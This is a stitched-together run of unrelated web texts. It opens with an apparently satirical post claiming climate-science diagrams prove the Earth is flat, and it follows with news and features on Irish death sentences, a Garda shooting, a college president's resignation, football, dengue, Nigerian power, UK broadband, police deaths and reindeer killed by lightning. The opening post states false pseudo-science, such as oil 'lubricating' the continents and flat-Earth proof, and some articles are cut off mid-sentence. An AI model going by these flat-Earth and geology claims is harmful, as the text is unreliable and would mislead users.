200 Proofs Earth is Flat
Youtube
you Can ignore Reality, But you Can not Ignore The consequences Of Ignoring reality
The Earth – from here on MOTHER GAIA – because she IS our mother, our protector, our life-giver, our salvation, our communal inheritance, our love, our grounding, our bliss, our champion – she is everything – has been responding to patriarchal abuse by creating climate change in order to tell humanity that we must stop what we are doing to her and that we must live more abundantly without using (ABUSING!) anymore of her resources which must STAY IN THE GROUND!
It’s like we’re all (well, the MALE patriarchy is responsibly for this) taking out her ovaries and devouring them in our lust for profit! Science has found that underground oil is like lubrication that the continents slide on top of, and without that lubrication MOTHER GAIA experiences chaffing which leads to increased earthquakes and volcanic activity which MAN is responsible for! Just like any woman knows, lubrication is essential to healthy functioning of the mucousal membrane.
Without a healthy vagina, MOTHER GAIA can no longer give birth and now MAN is trying to survive by devouring her ovaries instead of letting HER provide! And the metal ores in MOTHER GAIA’S are responsive to electromagnetism and science has shown that this is like nerve endings in her flesh. MOTHER GAIA NEEDS HER VAGINAL LUBRICATION AND SENSITIVE NERVE ENDINGS TO FUNCTION PROPERLY! Her OIL and her METAL ORES need to stay in the ground, in the BODY of GAIA! Its SACRED!
And because when Justin Trudeau and OBAMA! Islam is a religion OF PEACE!
But MOTHER GAIA’S vagina had a trick up her sleeve, because when MALE science started having to figure out climate change that HE was creating, the secret of a flat Earth would be accidentally forced out into the open. And it has BEEN SITTING RIGHT in front of our faces for decades now, since MALE patriarchal science started having to do climate change science. Just look AT all the diagrams below for PROOF!
That image above Is from the University of Washington, the heart of academia and the intellectual ELITE! EARTH SURFACE = FLAT!
That image above is from Columbia University, the heart of academia And the intellectual ELITE! EARTH SURFACE = FLAT!
That image above is From Harvard University, the heart of academia and the intellectual ELITE! EARTH SURFACE = FLAT!
That image above is from Khiel & Trenberth, two of the most highly respected climate researchers in the world! EARTH SURFACE = FLAT! (Although they tried to be tricky and drew a Curve for THE Earth, the numbers they use are for a FLAT EARTH!, so, not so tricky after all!)
That image above is from Penn State, home of probably THE MOST HIGHLY RESPECTED CLIMATE RESEARCHER known to woMAN, Michael Mann – the heart of academia and the intellectual ELITE! EARTH SURFACE = FLAT!
That image above is from a textbook on Thermal Physics, the heart of academia and the intellectual ELITE! EARTH SURFACE = FLAT!
And here we see them give away the truth shape of the Earth! A FLAT DISK!
Climate Science has proven that the Earth is flat! They thought no one would notice if they put it right out in front of our faces. All it takes is to step back a little and then BAM it hits you like lightening – THEY ARE USING A FLAT EARTH! They are showing us that the Earth is flat.
MOTHER GAIA has surely tricked these male patriarchal scientists in tricking them to expose that the Earth is actually flat.
read more at climateofsophistry.com
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TumblrIRISH REPUBLICANISM HAS a bitter history with the death penalty. Pádraig Pearse, Robert Emmet and Kevin Barry are among our patriot dead, executed by the British government.
It is not surprising then the original draft of the constitution contained no reference to capital punishment.
The bloody and divisive Civil War soon changed minds, however. The last-minute decision to reinstate the ultimate deterrent would cost 29 ordinary Irish citizens their lives after they were convicted of murder.
Dozens more would have the penalty imposed on them only to receive last-minute commutations.
Source: National Library of Ireland
Patrick Aylward was one such individual.
In an increasingly urbanised society, it can be difficult for the modern Irish person to comprehend the vicious feuds between rural farming families.
Sadly, in the Ireland of 1922 these fights were all too common.
The story of the walking dead
Patrick Aylward was 63 years old and a farmer from Mullinavat, south Kilkenny. He had returned to Ireland in 1921 after 39 years in Connecticut in order to nurse his elderly brother on their 25-acre holding.
Fifty yards away lived the Holden family which included Patrick, Mary and their eight children. Relations between the two households had soured shortly after Patrick’s return.
He complained about the alleged trespassing on his land by animals belonging to the Holden family, even setting his dog on a goat belonging to Mrs. Holden.
On another occasion, a missing fowl belonging to the Holdens was found dead in Aylward’s shed.
Mary described her neighbour as a violent and unpredictable man who had twice struck her with a stick. Aylward disagreed, asserting that she was the aggressor and had attacked him several times.
Her children also constantly annoyed his animals and used his well as a toilet, he claimed.
What started out as a minor disagreement was about to take a far more sinister turn.
That fateful day
On Saturday 21 April 1923, Patrick Holden was out working while his wife was minding the children. At 5pm, Mary put her 18-month-old son William to bed and departed the house to buy an outfit for another son’s confirmation.
Despite the lawless nature of the times, Mary saw fit to place eight-year-old Patrick in charge of the house in her absence. She told him to lock the door and stay inside.
His younger sister Mary and brother Michael were also present. William, the second youngest of the Holden family, suffered from rickets and was not able to crawl or walk but was sleeping peacefully when his mother left.
Some minutes afterwards, Patrick Aylward allegedly knocked at the Holden’s front door. The children reluctantly opened the door and Aylward burst in shouting that he “would put an end to the trespassing”.
Aylward lifted William, who was still sleeping, and walked over to the fire.
He then proceeded to hold the infant down over the burning grate.
Patrick Holden endeavoured to intervene but was powerless against the older man’s strength. Aylward stayed watching the crying infant as he burned on the fire, all the while using a stick to hold off the other children.
Just as William’s clothes caught fire, Aylward said “Don’t let them goats into my haggard anymore” before striding out the door.
The children quickly removed their infant brother from the fire and put him in a bucket of water to quench the flames. The severely-burned baby was then put back into his bed and the door was locked.
Horrific death
Patrick Holden Snr. arrived home within the next few minutes to be met with several hysterical children and a baby suffering from life-threatening burns.
There were no gardaí in the area at that turbulent point in Irish history, so Holden instead sent for a doctor from Waterford. He duly arrived and found the baby in a state of collapse. William was charred black all over his body and died from toxaemia 24 hours later.
The coroner’s inquest took place just days after the death. Aylward appeared and denied having any knowledge of the burning.
The coroner referred the case to the gardaí nonetheless but also had harsh words for the bereaved Holdens, telling them that he did not know whether to sympathise with them because they had abandoned their young children at home.
Aylward was arrested on 8 May. He replied: “I did not do it.”
Trial
The murder trial began on the 26 November 1923. The prosecutor stated that the prisoner was “charged with a crime which, if proved against him, was as terrible and hideous a crime as anyone described as a human being could commit”.
Aylward maintained a cool demeanour throughout despite the gravity of the charges against him. He pleaded not guilty.
Dr. Matthew Coghlan appeared on the stand and told the court that the injuries to William Holden could not have occurred accidentally. When asked about the defendant, he described him as a “degenerate” who lived in squalor, referring to the Aylward homestead as a “manure heap and cesspool”.
He did insist that Aylward was sane and capable of distinguishing right from wrong, however.
Child’s testimony
Patrick Holden also took the stand and was described as an intelligent witness, despite never attending school and being unable to write his name.
He described letting Aylward in and witnessing his neighbour grabbing William and putting him across the fire. Patrick attempted to aid his brother but was unable to do so.
Michael Holden also recounted Aylward raising a stick at them and telling them as he left the house, “Don’t tell your mother or I’ll kill you.”
Patrick Aylward admitted that he had poor relations with his neighbours but insisted that he had not been in their house for five months before the incident when he had complained to Mrs. Holden about her children chasing his sow and swimming in his spring well.
Her response was to hit him with a scrubbing brush. He retaliated by giving her a whack with his walking stick.
He denied harming the children however, pleading:
Don’t you think I have a soul to save as well as everyone else, or what do you think I am?
Aylward insisted that the Holdens had told their children to lie about him. Two witnesses, Aylward’s brother and a friend, also vouched that the prisoner had been tending a sick cow all day and had not visited his neighbours.
Quick verdict
The trial took just one day and despite the contentious and contradictory evidence, the all-male jury needed just 10 minutes deliberation before passing a guilty verdict, with a recommendation to mercy.
The judge announced his agreement and sentenced the prisoner to death.
Aylward responded:
I am not guilty at all. I have not been in that house for five months. May God forgive the woman who put the lie on me and God forgive the jury.
His pleas fell on deaf ears and his execution was set for the 27 December, putting him among five convicted murderers to be sentenced to death in that month.
Getting off
Three of the men would indeed be hanged. Aylward, however, was fortunate to receive petitions from numerous luminaries, including the Bishop of Ossory. His Grace petitioned government minister Kevin O’Higgins, questioning the guilt of the elderly man.
He mentioned the Holden family’s “bad moral character,” and alluded to a previous incident when another Holden child had burned to death in suspicious circumstances in 1910.
It was announced just hours before the execution that Aylward’s death sentence was to be commuted to one of penal servitude for life. The minister was not obligated to give a reason for this sudden commutation but a reasonable doubt was surely present.
The government may also have been reluctant to execute a man solely on the evidence of children. Patrick Aylward served 10 years in prison before being released in 1932.
He died three years later, still maintaining that he had taken no part in the burning of William Holden.
A crowd outside Mountjoy. Large groups of people were a common sight outside the prison on the day a prisoner was due to meet their death. Source: National Library of Ireland
The death penalty remained in the Irish Constitution until 1990 and 28 men and one woman would meet their death at the end of an Irish rope.
Harry Gleeson was hanged for murder in 1941 for a murder he did not commit. Did Patrick Aylward come within hours of suffering a similar injustice 20 years before him?
The truth may never be known.
Colm Wallace has written a book Sentenced to Death: Saved from the Gallows about 30 Irish men and women who had the death penalty imposed on them between 1922 and 1985. It is being launched on 17 June and is available for pre-order on Amazon.com. More information here.Members of the Garda Technical Bureau arriving at the scene tonight.
Members of the Garda Technical Bureau arriving at the scene tonight.
Updated at 10:20pm
AT LEAST TWO PEOPLE have died in a shooting incident in Louth this evening.
One garda was killed in the shooting, which happened at around 6pm at a house near Omeath.
Another man has also died, gardaí confirmed, while a woman is seriously injured.
It is believed the man, a well-known dissident republican, shot the woman before killing the garda and himself.
Gardaí have confirmed that one of the deceased was an on-duty member of the Garda Síochána.
He is believed to have been married with three children.
“Dreadful news”
In a statement, the Garda Representative Association (GRA) said it was “shocked and saddened” by the news.
“This dreadful, dreadful news is the deepest fear of every police family. This puts everything we do into perspective,” GRA President Dermot O’Brien said.
At this time of distress, the garda family will be doing everything possible to support the lategarda’s relatives and loved ones, friends and colleagues.
Garda Commissioner Noirín O’Sullivan said she was “deeply saddened” to hear of a colleague’s death, adding that her thoughts and prayers are with the man’s family, friends and colleagues.
“This incident highlights the very unique nature of the job carried out by the men and woman of An Garda Síochana, and the dangers they face every day,” she said.
Thoughts are with our Garda colleagues following the tragic events in Omeath this evening. PSNI will lend any assistance or support required — PSNI (@PoliceServiceNI) October 11, 2015 Source: PSNI /Twitter
“Mourned by the entire nation”
President Michael D Higgins said he had contacted the Garda Commissioner to express his sympathies.
This most serious and tragic incident has not only led to the death of a member of An Garda Siochána, while on duty, but tragically has also involved the death of one and the serious injury of another person.
I want to express my deepest sympathy to the family and friends of the
garda who has so tragically lost his life while responding to this incident.
Minister for Justice Frances Fitzgerald also extended her condolences, saying she was “appalled” to learn a garda had lost his life while protecting the community.
His death will be mourned by the entire nation, grateful for the service he gave to it.
Today’s tragic events are a stark reminder of the risks which members of An Garda Síochána face day in day out trying to keep our communities safe. I know our communities will stand with An Garda Síochána at this most difficult time for them.
No words can describe terrible loss of Garda's life in Omeath while protecting community. Heartfelt sympathies to family, friends,colleagues — Department of Justice & Equality (@DeptJusticeIRL) October 11, 2015 Source: JusticeDepartment /Twitter
The scene tonight has been sealed off and members of the Garda Technical Bureau have begun their examination.
First published at 7:39pm. More to follow.The president of a small Maryland college who likened struggling freshmen to bunnies that should be drowned resigned Monday, nearly six weeks after the student newspaper published the comment and ignited a national firestorm of criticism.
Simon Newman, a former financial industry executive, was in his first year as president of Mount St. Mary's University, the nation's second-oldest Catholic university, about 60 miles northwest of Baltimore. The school of 2,300 was previously known mainly for its four NCAA men's basketball tournament appearances.
Board of Trustees Chairman John Coyne announced Newman's departure in a statement Monday night after the board met to discuss its two-week inquiry into the matter. Coyne said Karl Einolf, dean of the college's business school, was named acting president.
"The board is grateful to President Newman for his many accomplishments over the past year, including strengthening the university's finances, developing a comprehensive strategic plan for our future and bringing many new ideas to campus that have benefited the entire Mount community," Coyne said.
Coyne declined an interview request through school spokesman Christian Kendzierski.
Pre-law Program Director Edward Egan, who was removed as adviser to The Mountain Echo student newspaper after the story ran, also declined an interview request when reached by phone.
Former faculty member John Schwenkler, who helped organize opposition to Newman among college faculty nationwide, said he was celebrating the news.
"I think that the collective efforts of a lot of concerned academics are a big part of this, and I feel privileged to have been part of that," said Schwenkler, an assistant professor of philosophy at Florida State University. "I hope that this is a sign to administrators at other institutions about what the academic community won't tolerate and about the power of that community to unify against certain abuses."
Schwenkler started an online petition, signed by more than 8,500 people, calling for reinstatement of Egan and Thane Naberhaus, a philosophy professor, after Newman fired them in early February. They were fired, and the university provost was demoted, after a board investigation concluded the Echo story was a deliberate attack on Newman, perpetrated by a small number of faculty and recent alumni. Egan, fired for "violating the code of conduct and acceptable use policies," was reinstated as a faculty member, but not newspaper adviser, Feb. 12. Naberhaus, who had publicly criticized Newman, was also reinstated after he was fired for violating "a duty of loyalty" to the university.
The story that triggered the firings described Newman's plan to identify struggling freshmen and offer them help, or tuition refunds if they chose to leave school early in their first semester. The story quoted from a Newman email saying he hoped 20 to 25 students would leave before the cutoff date for reporting the school's enrollment to the federal government, thereby boosting the student-retention rate, one of the factors publications such as U.S. News & World Report use in ranking desirable colleges. Critics said the plan seemed more focused on weeding out struggling students than helping them succeed.
The newspaper reported that Newman had told a faculty member opposed to the plan: "This is hard for you because you think of the students as cuddly bunnies, but you can't. You just have to drown the bunnies... put a Glock to their heads." Newman later acknowledged he used those words and apologized for them.Neil Custis told the Sunday Supplement that Jose Mourinho's tactics against Liverpool shouldn't be dismissed as boring and Jurgen Klopp is as much to blame Neil Custis told the Sunday Supplement that Jose Mourinho's tactics against Liverpool shouldn't be dismissed as boring and Jurgen Klopp is as much to blame
Did Jose Mourinho get his tactics right against Liverpool? The Sunday Supplement panel give their views, with Neil Custis saying he was "spot on".
Many of Sunday's back pages have criticised the Manchester United manager for his game plan at Anfield - which ended in a 0-0 draw - with some arguing that he is "killing football".
However, Custis, The Sun's chief northern football writer, and James Ducker, The Telegraph's northern football correspondent, believe that Mourinho did use the right tactics on Saturday afternoon and do not think he should shoulder all the blame.
The Daily Mail's chief sports writer, Martin Samuel, had a slightly different view and does not think that the goalless draw at Anfield will be good enough for Man Utd this season.
Read on to see what the Sunday Supplement panellists had to say...
2:59 Liverpool 0-0 Man Utd Liverpool 0-0 Man Utd
Neil Custis
I think he got it absolutely spot on. I can't remember a time when going to Anfield was a given for any away team, no matter how good they are. This man is supposed to be anti-football but has scored four goals on four occasions in the last seven games.
There were two chances in that game - Manchester United one and Liverpool had one - but it's Mourinho's fault that it was 0-0. Mourinho was inviting Klopp to take a risk yesterday - but he didn't take one. Klopp claimed all of his substitutions were positive, but they were like for like. He didn't take a risk by taking out a midfielder and putting another forward up so he was as concerned about Mourinho as Mourinho was about Klopp.
Man Utd manager Jose Mourinho has been criticised for his tactics against Liverpool
When you talk about parking the bus, I think of desperate defending. This is Man Utd's seventh clean sheet in eight games. They were totally comfortable defending yesterday. Where the plan fell down, for me, was with Romelu Lukaku. He couldn't hold the ball up when it came out. Yes, he had men around him and what have you but if he holds the ball up, he can then feed it off to people and they can play on the break. Lukaku was poor yesterday and Henrikh Mkhitaryan went missing but that's not Mourinho's fault.
Sir Alex Ferguson's last six visits to Anfield finished with four defeats and one win but of course, with Man Utd traditions, he played it the right way and what have you but Mourinho got it spot on and stopped Liverpool at Anfield in front of a passionate crowd.
It's easy to criticise him, it's easy to blame him but Klopp wasn't taking any great risks yesterday either. He's got a great PR team and he can come out afterwards and be the defender of all that is great in football, but he has had one win in eight. Look where they are and look where United are. I think Mourinho did the right thing for Manchester United yesterday.
James Ducker
We've spent the last few months lauding United's expansive, attacking football and now they draw at Anfield and suddenly it's all doom and gloom and they can't attack at all. I think they could have played a slightly more expansive game, taken a few more risks and still have been very secure defensively. It was there for the taking and I would say it was probably the best chance you'll get of going to Anfield for a while and really turning them over.
Liverpool boss Jurgen Klopp felt his side deserved three points after being the more active side in their 0-0 draw with Manchester United Liverpool boss Jurgen Klopp felt his side deserved three points after being the more active side in their 0-0 draw with Manchester United
But in Ferguson's last 16 visits to Anfield, they scored 14 goals. It was a 0-0 draw in September 2005 when he came out and said 'this game is now too important for Man Utd to lose'. This is not just a Mourinho thing, Ferguson would regularly be very pragmatic and all of these people who are saying 'Ferguson was caviller all the time at Anfield' - it is absolute nonsense.
We are very quick to denigrate teams who are defensively chaotic. Arsenal and Liverpool this season for example, we're moaning all the time about how poor they are at the back. If Wenger and Klopp could organise a defense like Mourinho, they'd have a far better chance at winning the title.
Sir Alex Ferguson had a similar game plan to Jose Mourinho on his trips to Anfield, says James Ducker
Call him an enemy of football, but he's won 25 trophies in 17 years. I think sometimes it's a very easy tag to throw at him. Also for the second time running, Klopp's plan A has been found wanting against Mourinho's low defensive block. There has been very little criticism of him. I think he had eight shots on target against United in 180 minutes and they haven't found the net.
Martin Samuel
Liverpool did make the game and I don't agree that they only had one chance - I would say three or four. If you draw 0-0, you've failed with the point of the game which is to score goals. Simple as that.
Jose Mourinho felt his side lacked power and energy in the midfield and bemoaned a lack of options from the bench after their 0-0 draw at Liverpool Jose Mourinho felt his side lacked power and energy in the midfield and bemoaned a lack of options from the bench after their 0-0 draw at Liverpool
Man City put five past Liverpool, who were down to 10 men, at home but there are different markers. A 0-0 draw at Liverpool is, in most seasons, a really good result but it might not be this year and you might actually be short. When Man City go to Liverpool, they will try and do what they did at the Etihad Stadium which was wipe them off the pitch.
Man Utd are behind the count. They are two points behind Man City now, the goal difference is going to slip away and they are going to have to be ahead of Man City on points at the end of the season because they are never going to win the title on goal difference or on goals scored. City are changing what is a good result.Has anyone ever seen God himself? The Bible seems to both affirm and deny this.
In Justin Martyr’s Dialogue with Trypho (written c. 155-61), Justin claims that the “God” seen in any Old Testament theophany was not the one God, the Creator (i.e. the Father), but was instead another “God” – the pre-human Jesus. In his view, it is impossible that God himself be seen. Thus, for instance, the prophet Isaiah (pictured here) must have seen Jesus, not God (in the vision described in Isaiah 6).
But why couldn’t an omnipotent being in some sense appear to humans? And what does the Bible say? Can we read it as consistent about whether or not God can be seen? In this episode we hear from Moses, John, Paul, a psalmist, and the author of the letter to the Hebrews.
You can also listen to this episode on stitcher or itunes (please subscribe, rate, and review us in either or both). It is also available on youtube (scroll down – you can subscribe here). If you would like to upload audio feedback for possible inclusion in a future episode of this podcast, put the audio file here.
Links for this episode:France Prosecution rejected Benzema's appeal
Valbuena tells judge: Benzema made me fearful
The Court of Cassation is set to take their final decision on behalf of Mathieu Valbuena on July 11, rejecting the appeal of Karim Benzema and his childhood friend Karim Zenati regarding the validity of the evidence on their alleged blackmailing attempt.
In mid-December, the Court of Versailles validated the eavesdropping between an anonymous person who contacted Valbuena - telling him that there was a sexual video in which he appeared - and a policeman who posed as a mediator.
During the appeal hearing Benzema and Zenati's lawyer, Patrice Spinosi, questioned the involvement of the police officer, claiming that he 'played a very active role' and denouncing a 'provocation to infringement'.
This argument was termed 'absurd' by Valbuena's defence attorney, Frédéric Thiriez, former president of the French Professional Football League (LFP), who stated that the offence had already taken place before the police intervention, which took place on 20 June 2015.
Understanding that there wasn't 'an unfair intervention' at any time, prosecutor Patrick Bonnet rejected the appeal of the defendants and validated the eavesdropping.
The event goes back to June 2015, when Valbuena received an anonymous call being asked to reach an economic agreement - without specifying the amount to pay - in exchange for not publishing the content of the tape.Share Tweet Share Share Email 816 Reads
*Update 10 December, 2015* : World’s First Dengue Vaccine Approved, According to Bloomberg
It seems to be a rite of passage for Malaysians and expats to be hit with dengue fever at one time or another. It is even more disturbing that the number people who have died from dengue fever in Malaysia has more than tripled this year compared to 2013, with some 250 cases being reported daily. The alarming increase in dengue cases and deaths has the government urging people to participate in more cleanups at Aedes breeding grounds and to raise awareness on the matter from the grassroot.
On an international level, French drug maker, Sanofi Pasteur, claims to have developed a vaccine against dengue that will be ready by next year. Sanofi Pasteur has been working on the dengue vaccine for more than 20 years and their goal is to make dengue the next vaccine-preventable disease, with a safe and effective dengue vaccine, accessible in all regions of the world where dengue is a public health issue.
Sanofi Pasteur’s efficacy clinical study program for its dengue vaccine candidate was conducted in over 31,000 participants across 10 endemic countries in Asia and Latin America. The vaccine is already being produced in a newly dedicated production facility in Neuville-sur-Saône, France and is subject to regulatory approval; the world’s first dengue vaccine could be available in the second half of 2015.
See Also: The New England Journal of Medicine Publishes Results of Final Landmark Phase III Efficacy Clinical Study of Sanofi Pasteur’s Dengue Vaccine Candidate
Source: Quartz
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SubscribeOUT in the farthest reaches of Lagos, a bumpy boat ride across the city’s dividing lagoon, Egbin power plant is trying to light up one of the world’s darkest nations. Six turbines growl in its huge belly, watched over by mechanics in a futuristic control room. They say the place is barely recognisable since privatisation in 2013. Output has rocketed since Sahara Group, a Nigerian energy conglomerate, took over. When running at full steam, Egbin generates almost a quarter of the whole country’s electricity.
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That is not a particularly stretching target. Of Nigeria’s many daily headaches, power is perhaps the worst. After years in which state-owned power plants decayed, the government changed course by selling power stations and the distribution grids that carry power to homes and businesses. This bold stroke was meant to turn the lights on, and indeed it has encouraged investors to put millions of dollars into upgrading the battered system. Yet the supply of power has failed to respond as hoped in the two years since privatisation. At the moment the country’s big stations produce a pitiful 2,800MW, which is about as much as is used by Edinburgh. Only just over half of Nigerians have access to electricity, and it is still harder for businesses to hook up to the grid than almost anywhere else.
One reason why privatisation has failed to improve Nigeria’s power supply is that the process itself was flawed from the start. Even as companies were bidding to buy power stations or distribution companies, striking staff prevented them from looking at what they were buying. Once the deals were done they found they had bought rundown equipment and companies whose books had been systematically cooked. More important, though, was that many could not get the gas they needed to power their plants. Government meddling held down gas prices, which meant that many producers would simply flare it off (while extracting oil) instead of bothering to sell it at a deep loss. Moreover, the pipes meant to carry the flammable stuff are rusting and regularly |
has worked its way up the political agenda in recent months.
Competitiveness minister Stephen Timms recently hosted a summit on the issue, while MPs recently held an eForum to debate the need for next-generation networks and regulator Ofcom has launched its own consultation.
Fibre networks capable of speeds of up to 100Mbps are already commonplace in Japan and South Korea and are starting to be rolled out in countries such as the US, France and Germany.
We are not facing large numbers of people today who are constrained by their bandwidth,
Peter McCarthy-Ward, BT
The Broadband Stakeholder Group (BSG) kick-started the debate in the spring of this year with a major report looking at how and why Britain would need next-generation broadband network.
BSG chief executive Antony Walker said it was not yet time to panic.
"There is lots of competition and innovation in the broadband market and [it is not clear that] current bandwidth is a problem. We don't need to make any rash moves but the time is ripe for some collective thinking," he said.
You can shoot someone so much quicker at 50 megabits
Howard Watson, Virgin
Regulator Ofcom is also heavily involved in the debate and is aware that for any company to commit to a multi-billion pound investment in a new network it would require some assurances from the government that it would be able to recoup its money.
While acknowledging that a fibre network "could be one of the most fundamental changes to our communications infrastructure in decades," Peter Philips, head of strategy and market development at Ofcom, is not entirely convinced that it is ready to come out of the starting blocks just yet.
"We need significant evidence that such a network is required and I don't think it exists yet," he said.
"We have to ask ourselves what would be the disadvantage if your investment comes later than others. We would be able to learn from the experiences in other countries," he added.
Commercial incentive
Most industry watchers are aware that the obvious candidate for any network upgrade is the custodian of the current ADSL broadband network, BT.
BT is planning to up the speeds of ADSL, with a new technology offering speeds of up to 24Mbps and The roll-out of so-called ADSL2+ will begin early next year and by 2011 all of BT telephone exchanges will have been upgraded.
It is also considering the business case of rolling out VDSL - a technology that offer fibre as far as the street cabinets. This would offer speeds of up to 50Mbps.
As far as fibre to the home goes - the real gold standard in the network world - BT has only committed to offering this technology (which offers speeds of up to 100Mbps) on new housing estates, such as Ebsfleet in Kent which will eventually serve thousands of homes.
"No-one would be more delighted if a commercial incentive emerged that enabled us to fibre the nation," said Peter McCarthy-Ward, BT's director of equivalence.
But he is not yet sure the demand is there.
"We are not facing large numbers of people today who are constrained by their bandwidth," he said.
Will gaming be one of key drivers for increased bandwidth?
Any commitment to a fibre network would need to be backed by reassurances from Ofcom that it would be able to recoup its investment, he said.
It may sometimes seem like Britain's best kept secret, but there is already a next-generation network serving just over half the population.
Virgin has pledged to upgrade its cable network - which reaches 52% of the population - to 50Mbps speeds by the end of 2008.
Speaking at a recent broadband conference, Virgin Media's chief technology officer Howard Watson admitted that an upgrade of cable would not "be on the same scale as what BT would have to do, but neither is it a trivial amount of money",
But, he said, the investment was crucial to Virgin's strategy going forward.
"We are shifting our position to one driven by broadband and increasing speed," he said.
Triallists at the pilot sites in Ashford, Dover and Folkestone are very happy with the service especially the ability it gives them to do fast downloads and access high-definition TV content, said Mr Watson.
"And gamers love it. You can shoot someone so much quicker at 50 megabits," he said.A Muslim businessman has erected an 85-foot Christmas tree in Baghdad in a sign of solidarity with Christians during the festive season.
Yassir Saad spent $24,000 (£19,000) on the artificial tree, which has a diameter of 33ft (10m), to help Iraqis “forget their anguish” over the war against Isis.
Iraqi forces are continuing to battle insurgent Isis fighters in Mosul, the group's last major stronghold in the country.
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Saba Ismael, a visitor to the theme park where the tree has been displayed, said it “represents love and peace“.
“I wish all Iraqi Christians could return to Iraq and live normal and peaceful lives,” she said.
Iraq’s Christian community has been persistently persecuted since the US-led invasion of the country in 2003.
In 2014, Isis stormed into northern Iraq, taking control of Mosul, Iraq's second-largest and once most diverse city.
Extremists marked Christian houses with the Arabic equivalent of the letter “N” for the derogatory term Nazarene and issued threatening ultimatums to leave the city or face death or forced conversion to Islam.
An estimated 20 or 30 Christians are thought to remain in the city. Some have been able to return to communities neighbouring Mosul; however, many have found their homes destroyed or ransacked.
Christians are not the only religious group to be persecuted by Isis.
In August 3 2014, extremist fighters attacked the town of Sinjar in northern Iraq as part of their campaign to eradicate the Yazidi people and “purify” the region of non-Islamic influences.
The group continue to suffer abominable human rights abuses, condemned by the United Nations as genocide.
Additional reporting by Associated Press
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Subscribe nowThis weekend BBC Sport is launching a new aspect of its online Formula 1 coverage.
We will be adding to the selection of video feeds available to UK users on the website a graphic showing the live location of all the cars on the track during the race.
The animation, which will be selectable in the video section at the top of the F1 live page, is provided by Formula 1 Management (FOM) - who call it a driver tracker - and we hope it will prove a nice complement to the rest of the BBC's F1 coverage.
The best use of it is probably in addition to the TV coverage as a way to better understand the race. It could be a huge help, for example, in the pit-stop period, when the TV coverage does not always show whether a driver emerges from his stop ahead or behind a rival. The driver tracker will show you all this live.After a presidential campaign in which Donald Trump and his surrogates regularly claimed law enforcement was under assault from an increasingly lawless public, the first year of Trump’s presidency is shaping up to be among the safest ever for police.
A total of 45 officers have been feloniously killed in the line of duty in 2017, according to unofficial FBI data updated earlier this month. That number tracks closely to other counts from independent sites and marks a significant downturn from 2016, when a total of 66 officers were feloniously killed. Barring a catastrophe in the final days of the year, the annual total will be well below the average seen over the last 20 years.
These figures follow a year in which Trump and other administration officials have sought to build on the president’s self-described “law and order” campaign by speaking out against a perceived uptick in attacks on police and pushing back against police reform efforts.
One of Trump’s first official acts as president was to sign an executive order “Preventing Violence Against Federal, State, Tribal, and Local Law Enforcement Officers,” a largely symbolic gesture that dovetailed with his campaign rhetoric.
At a ceremony for fallen officers in May, Trump cited violence against police in 2016 as evidence of an emerging crisis for law enforcement.
“We are living through an era in which our police have been subject to unfair defamation and vilification, and even worse … hostility and violence,” Trump said. “More officers were slain last year in ambushes than in any year in more than two decades.”
Although more officers were killed in 2016 than in the preceding few years, that total was largely driven by two high-profile ambush incidents in Texas, in which five officers were killed, and Louisiana, in which three were killed. Four officers were killed in ambush attacks in 2017, according to the FBI.
While the 2016 increase in police killings was a cause for concern, it came after years of record-low numbers in 2013 and 2015. A closer look at historical counts also shows that although the 2016 total was above average for recent years, it was less than half of the peak total in 1973, when 134 officers were feloniously killed.
Alissa Scheller/HuffPost
Despite the lack of clear data, Attorney General Jeff Sessions has eagerly pushed the narrative of a mounting assault on police. In August, he held up the officers killed in 2016 as evidence of “rising levels of violence against law enforcement.” He attributed this in part to critics of police brutality, whom he accused of slandering “all of the honorable men and women” of the profession.
“Last year, 66 law enforcement officers made the ultimate sacrifice in the line of duty – a 61 percent increase compared to 2015,” said Sessions. “And FBI data shows that about a third of those deaths were the result of premeditated or unprovoked attacks. This deadly trend seems to be getting worse. Preliminary data shows that officer deaths for the first six months of 2017 are up 18 percent.”
It’s unclear which figure Sessions was prematurely referring to, but the year-end data shows that felonious killings of police officers declined in 2017. Still, Sessions has moved quickly to roll back Obama-era police reform efforts, in part over his concerns that they’ve helped foster an environment of hostility toward law enforcement.
Public officials and law enforcement groups have routinely politicized data on police killings over the past few years, using it as fuel in a contentious debate over police brutality and accountability. By doing so, they often take numbers out of context, said Philip Stinson, a criminologist at Ohio’s Bowling Green State University.
“When you look at crime trends, you have to look at many data points over many years,” said Stinson. “When you look at things over the short term, I have trouble making sense of it in terms of: Does it mean anything? Is it statistically significant? Is it just that we’re paying more attention? Are they really on the rise?”
Policing is a violent profession, and deaths tend to fluctuate up and down. Efforts to tie certain events or data points to broader social trends can often produce misleading conclusions, said Stinson.
“I never did think it was open season on policing,” he said. “I think it’s business as usual.”
But killings of police alone might not tell the whole story of violence against law enforcement, said Chuck Canterbury, president of the Fraternal Order of Police (FOP), which bills itself as the largest police union in the world.
“We don’t think it’s down at all,” he said. “We’ve had the same amount of shootings that we’ve had last year, and we’re the only people tracking that.”
The total number of officers shot in 2017, both fatally and non-fatally, is consistent with the previous year, Canterbury claimed. He declined to release FOP’s data to HuffPost.
And while there’s an ever-present fear among officers about violence, not all attacks on police are physical, said Canterbury. Police departments in many jurisdictions are also struggling with issues of pay and benefits, officer retention and staffing, which he hopes policymakers will be willing to address in the coming years.It's unknown whether all 323 animals were killed by one lightning strike. Photo: Håvard Kjøntvedt / Statens naturoppsyn / NTB scanpix
Lightning is thought to have caused the death of 323 reindeer that were discovered by a hunting warden in a small area south of Hardangervidda over the weekend.
An official from the Norwegian Nature Inspectorate (Statens naturoppsyn - NNI) was on a routine inspection on Friday when he walked into an area where dead reindeer were lying close together on the ground.
A total of 323 of the animals were confirmed dead and it is believed that the flock was struck by lightning when a powerful storm passed through Telemark.
“They were lying there dead in a fairly concentrated area. Reindeer are pack animals and are often close together. During a heavy thunderstorm, they may have gathered even closer together out of fear,” NNI spokesman Knut Nylend told NTB.
See also: Norwegian motorist kills 19 reindeer in bloody collision
Nylend found the animals in a private hunting area on the plateau between Møsvatn and Kalhovd in Telemark. It is well off the beaten track and relatively far from the nearest trail in the mountains.
NNI employees were flown into the hard-to-access area on Sunday to count the dead reindeer and take samples from their bodies.
“We sent up a team of eight people to take samples to be sent to the Norwegian Veterinary Institute for research. Then we will know for sure how the animals died,” said Nylend.
“We've heard about animals being struck by lightning and killed, but I don't remember hearing about lightning killing animals on this scale before. We don't know if it was one or more lighting strike; that would only be speculation,” Nylend said.
It has not yet been determined whether the dead reindeer will be left where they are or removed.
